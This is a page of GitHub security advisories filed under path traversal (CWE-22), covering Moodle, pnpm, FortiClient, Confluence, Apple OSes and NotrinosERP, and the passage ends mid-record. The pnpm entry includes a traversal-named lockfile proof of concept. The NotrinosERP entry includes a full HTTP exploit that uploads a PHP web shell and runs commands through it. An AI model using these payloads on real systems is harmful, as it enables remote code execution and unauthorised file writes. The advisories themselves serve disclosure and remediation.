CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13191 vulnerabilities reference this CWE, most recent first.
GHSA-QRQV-26GF-XGWH
Vulnerability from github – Published: 2024-11-07 15:31 – Updated: 2024-11-07 18:30A flaw was found in moodle. A local file may include risks when restoring block backups.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0-beta"
},
{
"fixed": "4.2.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0-beta"
},
{
"fixed": "4.3.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.4.0-beta"
},
{
"fixed": "4.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-43440"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-07T18:30:36Z",
"nvd_published_at": "2024-11-07T14:15:16Z",
"severity": "MODERATE"
},
"details": "A flaw was found in moodle. A local file may include risks when restoring block backups.",
"id": "GHSA-qrqv-26gf-xgwh",
"modified": "2024-11-07T18:30:36Z",
"published": "2024-11-07T15:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43440"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2304269"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=461210"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Moodle LFI vulnerability when restoring malformed block backups"
}
GHSA-QRV3-253H-G69C
Vulnerability from github – Published: 2026-06-27 00:13 – Updated: 2026-06-27 00:13Summary
pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.
A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.
In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:
expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
This works with --ignore-scripts, so it does not rely on lifecycle script execution.
Vulnerable behavior
The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.
The relevant pattern is:
const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')
for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
const configDepPath = path.join(configModulesDir, pkgName)
const pkgDirInGlobalVirtualStore = path.join(
globalVirtualStoreDir,
relPath,
'node_modules',
pkgName
)
await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}
If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.
Impact
A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.
This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.
The issue is especially relevant because:
- The malicious input is committed in
pnpm-lock.yaml. - The issue is triggered during
pnpm install. - It works with
--ignore-scripts. - It occurs in the config dependency installation path, before ordinary dependency installation.
- The user only needs to install a malicious or compromised repository.
Local proof of concept
The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.
Command used:
python3 ../pnpm_configdeps_path_traversal_poc.py \
--pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
--keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log
Observed output:
[+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry: http://127.0.0.1:36545/
[+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name: '../../PWNED_CFGDEP'
[+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/
pnpm output:
Installing config dependencies...
Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
Already up to date
Done in 906ms using pnpm v11.5.1
The PoC then detected the escaped symlink:
[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
Malicious lockfile structure
The malicious input is an env-lockfile configDependencies key containing traversal components:
importers:
.:
configDependencies:
legit-config-dep:
specifier: '1.0.0'
version: '1.0.0'
'../../PWNED_CFGDEP':
specifier: '1.0.0'
version: '1.0.0'
pnpm accepts the traversal-shaped name and reports it as installed:
Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
Security boundary violation
The intended config dependency root was:
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
But pnpm created:
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.
Suggested remediation
Validate every configDependencies key loaded from the env lockfile before using it as a package name or path component.
Recommended fixes:
- Reject env-lockfile
configDependenciesnames that are not valid npm package names. - Reject names containing absolute paths,
.components,..components, backslashes, or platform-specific path separators. -
Use containment-checked path joining before creating symlinks:
-
resolve the final destination path,
- verify it remains inside
node_modules/.pnpm-config, - reject if it escapes.
- Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.
- Intersect env-lockfile
configDependencieswith the effectivepnpm-workspace.yamlconfigDependenciesbefore installing, so extra lockfile-only entries are rejected.
A safe destination check should enforce behavior equivalent to:
const dest = path.resolve(configModulesDir, pkgName)
if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
throw new Error(`Invalid config dependency name: ${pkgName}`)
}
Name validation should happen before this check, not instead of it.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.34.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-27T00:13:18Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`.\n\nA malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name.\n\nIn local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory:\n\n```text\nexpected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\nactual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis works with `--ignore-scripts`, so it does not rely on lifecycle script execution.\n\n## Vulnerable behavior\n\nThe vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.\n\nThe relevant pattern is:\n\n```ts\nconst configModulesDir = path.join(opts.rootDir, \u0027node_modules/.pnpm-config\u0027)\n\nfor (const [pkgName, pkg] of Object.entries(normalizedDeps)) {\n const configDepPath = path.join(configModulesDir, pkgName)\n\n const pkgDirInGlobalVirtualStore = path.join(\n globalVirtualStoreDir,\n relPath,\n \u0027node_modules\u0027,\n pkgName\n )\n\n await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)\n}\n```\n\nIf `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`.\n\n## Impact\n\nA malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install.\n\nThis gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.\n\nThe issue is especially relevant because:\n\n* The malicious input is committed in `pnpm-lock.yaml`.\n* The issue is triggered during `pnpm install`.\n* It works with `--ignore-scripts`.\n* It occurs in the config dependency installation path, before ordinary dependency installation.\n* The user only needs to install a malicious or compromised repository.\n\n## Local proof of concept\n\nThe following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`.\n\nCommand used:\n\n```bash\npython3 ../pnpm_configdeps_path_traversal_poc.py \\\n --pnpm-cmd \"node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs\" \\\n --keep 2\u003e\u00261 | tee /tmp/pnpm-configdeps-poc.log\n```\n\nObserved output:\n\n```text\n[+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim\n[+] Local registry: http://127.0.0.1:36545/\n[+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store\n[+] Malicious name: \u0027../../PWNED_CFGDEP\u0027\n[+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n[+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n[+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml\n[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/\n```\n\npnpm output:\n\n```text\nInstalling config dependencies...\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\nAlready up to date\n\nDone in 906ms using pnpm v11.5.1\n```\n\nThe PoC then detected the escaped symlink:\n\n```text\n[+] Traversal sink status: symlink -\u003e ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n\n[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config\n sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n```\n\n## Malicious lockfile structure\n\nThe malicious input is an env-lockfile `configDependencies` key containing traversal components:\n\n```yaml\nimporters:\n .:\n configDependencies:\n legit-config-dep:\n specifier: \u00271.0.0\u0027\n version: \u00271.0.0\u0027\n \u0027../../PWNED_CFGDEP\u0027:\n specifier: \u00271.0.0\u0027\n version: \u00271.0.0\u0027\n```\n\npnpm accepts the traversal-shaped name and reports it as installed:\n\n```text\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\n```\n\n## Security boundary violation\n\nThe intended config dependency root was:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n```\n\nBut pnpm created:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.\n\n## Suggested remediation\n\nValidate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component.\n\nRecommended fixes:\n\n1. Reject env-lockfile `configDependencies` names that are not valid npm package names.\n2. Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators.\n3. Use containment-checked path joining before creating symlinks:\n\n * resolve the final destination path,\n * verify it remains inside `node_modules/.pnpm-config`,\n * reject if it escapes.\n4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.\n5. Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` `configDependencies` before installing, so extra lockfile-only entries are rejected.\n\nA safe destination check should enforce behavior equivalent to:\n\n```ts\nconst dest = path.resolve(configModulesDir, pkgName)\n\nif (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {\n throw new Error(`Invalid config dependency name: ${pkgName}`)\n}\n```\n\nName validation should happen before this check, not instead of it.",
"id": "GHSA-qrv3-253h-g69c",
"modified": "2026-06-27T00:13:18Z",
"published": "2026-06-27T00:13:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-qrv3-253h-g69c"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config"
}
GHSA-QV22-GH9Q-CCQ2
Vulnerability from github – Published: 2022-07-19 00:00 – Updated: 2022-07-26 00:01A relative path traversal vulnerability [CWE-23] in FortiClient for Windows versions 7.0.2 and prior, 6.4.6 and prior and 6.2.9 and below may allow a local unprivileged attacker to escalate their privileges to SYSTEM via the named pipe responsible for FortiESNAC service.
{
"affected": [],
"aliases": [
"CVE-2021-41031"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-18T18:15:00Z",
"severity": "HIGH"
},
"details": "A relative path traversal vulnerability [CWE-23] in FortiClient for Windows versions 7.0.2 and prior, 6.4.6 and prior and 6.2.9 and below may allow a local unprivileged attacker to escalate their privileges to SYSTEM via the named pipe responsible for FortiESNAC service.",
"id": "GHSA-qv22-gh9q-ccq2",
"modified": "2022-07-26T00:01:09Z",
"published": "2022-07-19T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41031"
},
{
"type": "WEB",
"url": "https://fortiguard.com/advisory/FG-IR-21-190"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV34-RFHX-FG2Q
Vulnerability from github – Published: 2022-05-24 21:59 – Updated: 2025-10-22 00:31Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center. All versions of Confluence Server from 2.0.0 before 6.6.13 (the fixed version for 6.6.x), from 6.7.0 before 6.12.4 (the fixed version for 6.12.x), from 6.13.0 before 6.13.4 (the fixed version for 6.13.x), from 6.14.0 before 6.14.3 (the fixed version for 6.14.x), and from 6.15.0 before 6.15.2 are affected by this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2019-3398"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-18T18:29:00Z",
"severity": "HIGH"
},
"details": "Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has \u0027Admin\u0027 permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center. All versions of Confluence Server from 2.0.0 before 6.6.13 (the fixed version for 6.6.x), from 6.7.0 before 6.12.4 (the fixed version for 6.12.x), from 6.13.0 before 6.13.4 (the fixed version for 6.13.x), from 6.14.0 before 6.14.3 (the fixed version for 6.14.x), and from 6.15.0 before 6.15.2 are affected by this vulnerability.",
"id": "GHSA-qv34-rfhx-fg2q",
"modified": "2025-10-22T00:31:38Z",
"published": "2022-05-24T21:59:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3398"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/CONFSERVER-58102"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Apr/33"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-3398"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/152616/Confluence-Server-Data-Center-Path-Traversal.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/155235/Atlassian-Confluence-6.15.1-Directory-Traversal.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/155245/Atlassian-Confluence-6.15.1-Directory-Traversal.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108067"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV47-9766-H942
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-10-14 12:00A path handling issue was addressed with improved validation. This issue is fixed in macOS Big Sur 11.0.1, iOS 14.2 and iPadOS 14.2, tvOS 14.2, watchOS 7.1. A local attacker may be able to elevate their privileges.
{
"affected": [],
"aliases": [
"CVE-2020-10010"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-08T20:15:00Z",
"severity": "HIGH"
},
"details": "A path handling issue was addressed with improved validation. This issue is fixed in macOS Big Sur 11.0.1, iOS 14.2 and iPadOS 14.2, tvOS 14.2, watchOS 7.1. A local attacker may be able to elevate their privileges.",
"id": "GHSA-qv47-9766-h942",
"modified": "2022-10-14T12:00:19Z",
"published": "2022-05-24T17:35:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10010"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211928"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211929"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211930"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211931"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212011"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2020/Dec/26"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2020/Dec/32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV4M-M73M-8HJ7
Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34Summary
An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.
Details
The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.
Reachability of the written file:
- company_path() resolves under the web root; config.default.php sets
$comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/.
- The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log
only — it does not block .php and does not cover company/.
- The stored path is then echoed unescaped into a clickable "View" link
(hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href),
handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).
A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].
Proof of Concept
The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the
hidden _token, then submit. Against your own local instance:
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"
<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
Then request the stored file (its exact path is shown in the Documents tab's "View" link):
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
The command in c executes on the server.
Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.
Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).
Suggested fix
- Never use the client filename on disk. Store with a server-generated name and no executable
extension (mirror
includes/ui/attachment.inc'suniqid()approach); keep the original name only as a DB label. - Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the
picbranch already does. - Store uploads outside the web root, or drop an
.htaccess/web.configincompany/*/documents/that disables script execution (php_admin_flag engine off,RemoveHandler .php,SetHandler none). htmlspecialchars()the stored path before emitting the "View" link (fixes the secondary XSS).
Resources / credit
- Affected code:
hrm/manage/employees.php,hrm/includes/db/employee_document_db.inc,hrm/includes/ui/employee_ui.inc. - Reported by: <Kasper Hong / Kasper Builds>.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "notrinos/notrinos-erp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:34:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename \u2014 extension intact \u2014 into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -\u003e tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().\u0027/documents/employees\u0027;\nif (!file_exists($upload_dir))\n mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.\u0027/\u0027.$employee_id.\u0027_\u0027.time().\u0027_\u0027.$_FILES[\u0027doc_file\u0027][\u0027name\u0027];\nif (!move_uploaded_file($_FILES[\u0027doc_file\u0027][\u0027tmp_name\u0027], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n `$comp_path = $path_to_root.\u0027/company\u0027`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n only \u2014 it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n (`hrm/includes/ui/employee_ui.inc` lines 153-154 \u2014 `file_path` concatenated straight into `href`),\n handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `[\u0027name\u0027]`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION[\u0027csrf_token\u0027]`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1\u0026_tabs_sel=tab_documents HTTP/1.1\nHost: \u003cyour-local-instance\u003e\nCookie: \u003cauthenticated session\u003e\nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n\u003cvalue of the hidden _token field from the GET response\u003e\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n\u003ca valid document type id\u003e\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab\u0027s \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_\u003cunix_ts\u003e_shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler\u0027s **verbatim** path/move logic wrote `company/0/documents/employees/1_\u003cts\u003e_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:\n\n```\n$ curl \u0027.../company/0/documents/employees/1_1783671979_shell.php?c=id\u0027\nuid=501(...) gid=20(staff) ...\n$ curl \u0027.../\u003csame\u003e.php?c=uname%20-sm;whoami\u0027\nDarwin arm64\n\u003cuser\u003e\n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file \u2014 the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP\u0027s built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS \u2248 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n extension** (mirror `includes/ui/attachment.inc`\u0027s `uniqid()` approach); keep the original name\n only as a DB label.\n- 